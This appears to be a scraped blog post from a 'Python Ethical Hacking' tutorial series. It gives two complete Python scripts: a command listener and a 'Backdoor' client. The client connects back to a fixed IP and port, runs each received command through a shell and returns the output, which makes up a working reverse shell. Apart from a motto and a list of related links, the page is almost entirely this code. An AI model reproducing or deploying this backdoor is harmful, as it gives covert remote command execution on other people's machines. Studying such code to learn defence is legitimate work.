zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    Refactoring - Creating a Listener Class

    #!/usr/bin/env python
    import socket
    
    
    class Listener:
        def __init__(self, ip, port):
            listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listener.bind((ip, port))
            listener.listen(0)
            print("[+] Waiting for incoming connections")
            self.connection, address = listener.accept()
            print("[+] Got a connection from " + str(address))
    
        def execute_remotely(self, command):
            self.connection.send(command)
            return self.connection.recv(1024).decode()
    
        def run(self):
            while True:
                command = input(">> ").encode()
                result = self.execute_remotely(command)
                print(result)
    
    
    my_listener = Listener("10.0.0.43", 4444)
    my_listener.run()

    Creating a Backdoor class:

    #!/usr/bin/env python
    import socket
    import subprocess
    
    
    class Backdoor:
        def __init__(self, ip, port):
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((ip, port))
    
        def execute_system_command(self, command):
            return subprocess.check_output(command, shell=True)
    
        def run(self):
            while True:
                command = self.connection.recv(1024).decode()
                command_result = self.execute_system_command(command)
                self.connection.send(command_result)
            connection.close()
    
    
    my_backdoor = Backdoor("10.0.0.43", 4444)
    my_backdoor.run()

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    动态规划例题
    c++ 进制转换函数
    约瑟夫问题
    set的基本使用
    stl中的二分查找
    1.生成的接口返回参数不包括系统自带的参数
    查看被锁定的表,并解锁
    添加、修改表中的字段
    NPOI简单示例2—合并表头
    NPOI简单示例
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11625175.html
Copyright © 2011-2022 走看看